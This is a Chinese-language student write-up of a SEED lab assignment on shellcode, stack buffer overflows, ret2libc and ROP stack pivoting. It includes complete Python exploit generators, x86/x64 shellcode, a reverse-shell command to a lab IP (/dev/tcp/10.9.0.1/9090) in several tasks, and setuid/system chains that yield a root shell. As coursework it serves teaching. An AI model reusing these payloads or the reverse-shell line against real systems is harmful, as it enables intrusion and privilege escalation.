software-security_lab1

seed lab中关于shellcode和ret2libc攻击方法的一个作业。

task1

x86

首先创建一个文件,如下图。

image-20220309204944073

以下过程表现删除了文件。首先输出1,其次执行rm删除本地的file_to_delete,接着输出2并进行ls

image-20220309205644768

代码如下,主要就是调用了/bin/rm来删除文件。并且用echo来表示顺序性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"echo 1;/bin/ls;/bin/rm ./file_to_delete;echo 2;/bin/ls *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

# Save the binary code to file
with open('codefile_32', 'wb') as f:
f.write(content)

汇编代码含义

分析一下这段汇编代码的含义。image-20220327103453852

首先看到汇编代码跳转到0x2b位置,这里是call 0x2,又跳转回去。这样做的目的是call的时候,会把下面一条指令压栈,这样我们就能获得一个/bin/bash的参数储存在ebx里面。接下来的主要目的是构造系统调用(int 0x80)。查找系统调用号网站,可以看到相应的参数。

image-20220327104256961

之后把%al移动到[ebx+0x9],为了让/bin/bash第9位为0(字符串终止符)接着把[ebx+0xc],[ebx+0x47]都写成0。后面一直到20byte位置,都是在布置ecx参数。其实我们直接设置为0就行。最后设置)eax为0xb(execve的系统调用号),打开/bin/bash。接下来,我们动态调试看看。

首先是pop ebx。可以看到我们成功拿到了/bin/bash这条命令

image-20220327105324216

接着通过ecx把/bin/sh后面的-c放到别的位置。([ebx+0xa]位置)

image-20220327105500747

接着的ebx+0xd是后面一个参数的位置。可以看到这一系列步骤其实是在分离/bin/bash以及后续的命令。

image-20220327105658488

后面到0xffffcf68, ecx被赋值成了/bin/bash。之后上面和系统调用相关的各个寄存器都被置为0,并且在0xffffcf6f的位置开始重新赋值。看一下寄存器赋值情况

image-20220327110945473

可以看到eax就是execve的系统调用号,ebx是/bin/bash字符串开始的地址,ecx是参数(也就是我们execve之后的命令),如下所示,就是我们输入的命令的分割。

image-20220327111308551

edx是0。接下来就能完成execve(“/bin/bash”,argv[],envp[]了)。

x64

汇编语言的过程不在分析了,基本原理和上面很类似,就是64位要构造没有\x00的字符串会更加困难一些。

和上面的代码一模一样,以下为输出结果以及代码。

image-20220309210013246

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"echo 1;/bin/ls;/bin/rm ./file_to_delete;echo 2;/bin/ls *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

# Save the binary code to file
with open('codefile_64', 'wb') as f:
f.write(content)

task2

先按照pdf的说明进行测试,找到buffer起始的栈地址为0xffffd068,返回地址为0xffffd0d8+4(为什么要+4,因为exp后面才是返回地址)

image-20220310100302042

因此,由于关闭了栈随机化,我们只要把返回地址写上shellcode所在地址即可。这里发现由于shellcode长度超出buffer到返回地址长度,因此不能再buffer开头写上shellcode。所以我们只能把shellcode放在buffer末尾位置。只需要计算好偏移,把偏移加上上面计算的(ebp+4)就可以了。我们得到以下的反向shell说明成功了。

image-20220310100243375

以下为代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
import sys

shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 128 # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffd0e8 # Change this number
offset = 116 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

这里考虑一个问题:能不能把shellcode放在start=0的位置?答案是不行的,因为我们shellcode的长度超过了buffer和返回地址之间的差值。放在start的地方将导致shellcode一部分被破坏(被写成了返回地址)。因此要放在返回地址的后面。

task3

task3不给我们显示返回地址,但是我们知道Buffer的长度在100到300之间,由此我们可以构造一个slide,让程序执行返回之后能够滑向我们的shellcode即可。

我们要做的,是先把shellcode放在300之后的位置,之后记下shellcode所在地址,把buffer中从100到300的位置全部填满shellcode的地址。从而无论buffer有多长,程序的返回地址总会被覆盖成我们的shellcode地址

我们计算shellcode地址的方法是,用程序输出的buffer起始地址,加上shellcode的起始地址(在我的程序中是340),由此得到0xffffd7ac。

image-20220310103639930

以下为成功截图。

image-20220310103611194

以下为代码部分。代码末尾的循环表示设置buffer中100到300的位置全部为计算的shellcode地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import sys

shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 340 # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffd7ac # Change this number
# offset = 116 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(100,304,4):
print(offset)
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

task4

这里我采用了一种比较特殊的方法。注意到由于小端法程序中,0x00007faaaaaaaaaa…的表示形式其实是(0xaa)(0xaa)(0xaa)(0xaa)(0xaa)(0xaa)(0x7f)(0x00),因此实际上如果我们在返回地址只放一个7f开头的地址,被截断之后仍然是00开头的数据。因此这道题就和第三题很像了。我们要做的是

  1. 把shellcode读入buffer(这里的buffer够长)
  2. 返回地址精确的写为shellcode的起始位置
  3. offset可以用程序给我们的输出减一下,得到那里是返回地址的offset

我知道这题还有别的方法,利用main中的read,只是这里用了别的方法[doge]助教手下留情

这里是运行结果截图。

image-20220310105720567

以下是程序原本的输出,以及exp

image-20220310105729364

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
import sys

shellcode = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 0 # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x00007fffffffe580 # Change this number
offset = 208+8 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

task5

这道题给了比较小的buffer长度,并且是64位的。我们不能把shellcode全部写在buffer上,因此必须想办法绕过这里的\x00的限制。

注意到main函数中fread会将我们的输入完全读入,fread不会被\x00截断,因此可以用fread里面的地址来当作我们的返回地址。

那么怎么计算呢? 如下所示,我们首先在buffer前面输入一段abcdeaaa作为测试,通过pwndbg中的search命令能够找到在栈上存在两个地址。其中d810结尾的便是fread读入的地址,可以包含00。由此我们可以计算出两者的偏移。计算的结果是0x490

image-20220310124441714

得到偏移之后,我们只需要把返回地址减去我们的偏移量,就能得到fread读取的带有\x00的地址了

计算可以表示为:0x00007fffffffe5f0+0x000490。在下面的代码中我加上112的原因是,由于可以有一段nop链,如果我们计算的偏移有一点误差也没有关系,所以我把shellcode放在了buffer开始位置稍微后面一点的位置。

image-20220310124722231

以下位反向shell成功连接之后的截图。

image-20220310124416061

以下为攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3
import sys

shellcode = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')


jmp_rsp=("\xff\xe4").encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 112 # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x00007fffffffe5f0+0x000490+112 # Change this number to ret place+8
offset = 104 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

task6

这里直接利用的是task1的代码,略加修改,增加了大量的nop,并不是精确跳转,使得我们暴力搜索的成功概率大大增加。

image-20220310143123093

以下位暴力搜索的代码。由于start位于较为靠后的位置,相比于原来的level-1,可以有更多的nop供滑动,有更大的概率getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import sys

shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 340 # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffd7ac # Change this number
# offset = 116 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(100,304,4):
print(offset)
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

task7

random_stack

如果栈地址随机化,可以看到我们每次运行binary输出的buffer位置和ebp位置都会发生变化。具体原因在内核实现,这里就不深入讨论了。栈随机化让我们难以直接预测栈地址,尤其是在64位情况下,有5byte的数据发生了随机化,更是加大了爆破的难度(之前32位情况下栈地址随机化的爆破在task6已经做到)

image-20220310124900538

image-20220310124931399

canary

如果在编译选项中开启了栈保护者选项,运行我们的exp,将得到如下的输出

image-20220310130040152

通过回顾上课所讲的知识,知道栈保护者实际上是一种位于返回地址之前的随机数,在每次从调用栈返回的时候,都会检查这个随机数的数值有没有被修改过,如果修改过,就说明可能发生了栈溢出,从而报错。

我们看一下IDA反汇编得到的代码,下面是检验是否有canary的部分。

image-20220310132431015

在退出当前函数栈帧之前,首先把[ebp+0xc]中的内容放到edx,之后和一个内存中的位置比较,如果xor的结果为0,就说明两者相同,栈没有被覆盖,否则说明栈遭到了破坏,于是跳转到stack_check_fail中。

ret2libc

查找关键函数

直接在gdb中搜索相应函数名就能获得地址。

image-20220310144400814

插入/bin/sh

按照pdf中的做法,在当前开启的shell中插入/bin/sh,并通过编写pdf中的脚本获取MYSHELL的地址。这里注意文件名必须要也是6个字符,否则会导致偏移出现问题。

image-20220310210713711

Ret2shell

这里需要调用system(“/bin/sh”)即可。system可以用上面”插入关键函数”找到的地址,/bin/sh字符串地址就是环境变量中此字符串地址。如下图所示。我们要做的是

  1. 将ret地址写成system
  2. 将ret+4的地址写为exit(起始写成什么不重要,后面也会说明)
  3. ret+8写上/bin/sh字符串的地址

为什么这么写?这是x86站调用顺序决定的。

image-20220310151418402

image-20220310162753250

修改文件名

当我们把上面的payload用于修改完文件名的binary之后,发现打不通了。其实原因很简单,就是环境变量中文件名部分多了一个字符,导致我们的/bin/sh偏移发生了变化

image-20220310162917492

exit是否有关?

答:没有关系。因为system(“/bin/sh”)默认执行成功之后永不返回。因此system的返回地址是什么不重要,一旦执行成功也不会跳转到返回地址,而一旦执行不成功,返回了也是报错。

call execv

image-20220327093211644

image-20220310214546089

image-20220310184858255

如上所示。但是最终没有成功拿到shell,不知道为什么。

后记:看完setuid部分中网上的方法,想到了这里也可以进行栈迁移。下面为尝试过程。

我们使用gdb调试得到如下结果。

image-20220317105410920

经过一个栈迁移,得到如下结果。可以看到已经符合调用execv的条件了。

image-20220317124505929

下面是成功截图。可以看到euid部分已经被成功设置为0,也就是说我们具有了root能够做到的访问资源的权限。

image-20220327100243802

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
# exec.py
import sys
debug = 0

# Fill content with non-zero values
content =bytearray(0xaa for i in range(300)) # fill the rest 0


if(debug == 1):
main_stack = 0xffffcce0
binsh = 0xffffd3d7
p_addr = 0xffffd3f6
else:
main_stack = 0xffffcd50
binsh = 0xffffd3c3
p_addr = 0xffffd42c

A = 0x1c+12
argv = main_stack + 0x1c + 16 # where usable stack start
content[A:A+4] = (argv).to_bytes(4,byteorder='little')

Z = 0x1c+8
# binsh = 0xffffd3c3 # The address of "/bin/sh"
content[Z:Z+4] = (binsh).to_bytes(4,byteorder='little')

X = 0x1c
execv_addr = 0xf7e994b0 # The address of execv
content[X:X+4] = (execv_addr).to_bytes(4,byteorder='little')

X1 = 0x1c + 4
exit_addr = 0xf7e04f80 # The address of exit
content[X1:X1+4] = (exit_addr).to_bytes(4,byteorder='little')

arg = 0x1c+16
argv1 = binsh
argv3 = 0
content[arg:arg+4] = (argv1).to_bytes(4,byteorder='little')
content[arg+4:arg+8] = (p_addr).to_bytes(4,byteorder='little')
content[arg+8:arg+12] = (argv3).to_bytes(4,byteorder='little')


# Save content to a file
with open("badfile", "wb") as f:
f.write(content)

setuid

终于到了ROP的最后一个task(哭)但是我不会做(0 - 0)

因为这里又牵涉到把strcpy的截断符号\x00当作参数,应该需要一些特殊的构造方法,我太菜了。

于是上网参考了这篇文章,就当学习一下好了。

我也有想到按照提示,用fread的结果作为换掉的栈,但是也没找到xchg,(),exp这样的gadget。看了别人的wp

可以看到程序首先执行的是pop ecx,把栈顶的数值弹出,放进ecx。同时再pop三个寄存器

1
pop ecx ; pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret

在ecx寄存器位置,我们放上main_buffer+ 0x1c + 4*5。这里是setuid_addr的后一条指令位置。为什么放后一条指令?因为后面ecx-4会将-4的位置返还给esp,因此我们需要放setuid_addr后面的地址。同时,通过这样的操作,我们已经成功把栈转移到main中buffer的栈帧中去,因此此时setuid(0)便不会被截断。接着就是之前一样的操作,setuid,之后system(“/bin/sh”)即可。

这里比较巧妙的就是通过上面的gadget进行栈迁移,我ROP果然太菜了。

image-20220310214927605

以下为getshell截图。

image-20220311001156543

下面是成功代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import sys

content = bytearray(0xaa for i in range(300))

process_code = 0x56555000
pop_ret_addr = 0x1442 + process_code # Gadget A : pop ebx ; ret
pop_lea_addr = 0x13a5 + process_code # Gadget B : pop ecx ; pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret


system_addr = 0xf7e12420
exit_addr = 0xf7e04f80
setuid_addr = 0xf7e99e30

main_buffer = 0xffffcd10 # here write the Address of input[] inside main():
main_buffer_addr = main_buffer+ 0x1c + 4*5

pay = 0xdeedbeef
sh_addr = main_buffer + 0x100

chain = [pop_lea_addr, main_buffer_addr, pay, pay, setuid_addr, pop_ret_addr, 0, system_addr, exit_addr, sh_addr]

start = 0x1c
for i in range(len(chain)):
content[start+i*4: start+i*4+4] = (chain[i]).to_bytes(4,byteorder='little')

content[0x100:0x100+8] = b"/bin/sh\x00"

# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
文章目录
  1. 1. task1
    1. 1.1. x86
    2. 1.2. 汇编代码含义
    3. 1.3. x64
  2. 2. task2
  3. 3. task3
  4. 4. task4
  5. 5. task5
  6. 6. task6
  7. 7. task7
    1. 7.1. random_stack
    2. 7.2. canary
  8. 8. ret2libc
    1. 8.1. 查找关键函数
    2. 8.2. 插入/bin/sh
    3. 8.3. Ret2shell
      1. 8.3.1. 修改文件名
      2. 8.3.2. exit是否有关?
    4. 8.4. call execv
    5. 8.5. setuid
|